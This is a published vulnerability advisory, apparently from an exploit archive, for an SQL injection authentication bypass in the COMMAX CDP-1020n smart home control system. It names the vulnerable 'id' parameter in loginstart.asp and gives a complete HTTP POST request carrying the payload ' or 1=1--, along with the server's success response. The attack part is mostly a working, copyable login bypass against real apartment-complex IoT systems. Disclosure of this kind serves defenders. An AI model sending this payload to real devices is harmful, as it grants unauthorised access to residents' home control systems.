COMMAX Smart Home IoT Control System CDP-1020n - SQL Injection Authentication Bypass

# Exploit Title: COMMAX Smart Home IoT Control System CDP-1020n - SQL Injection Authentication Bypass
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX Smart Home IoT Control System CDP-1020n SQL Injection Authentication Bypass


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: CDP-1020n
                  481 System

Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
complex that provides advanced life values and safety.

Desc: The application suffers from an SQL Injection vulnerability. Input passed
through the 'id' POST parameter in 'loginstart.asp' is not properly sanitised
before being returned to the user or used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication
mechanism.

Tested on: Microsoft-IIS/7.5
           ASP.NET


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5662
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5662.php


02.08.2021

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POST /common/loginstart.asp?joincode={{truncated}} HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/mainstart.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6
Cookie: {}

id=%27+or+1%3D1--&x=0&y=0&pass=waddup


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 621
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: {}
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Date: Tue, 03 Aug 1984 22:57:56 GMT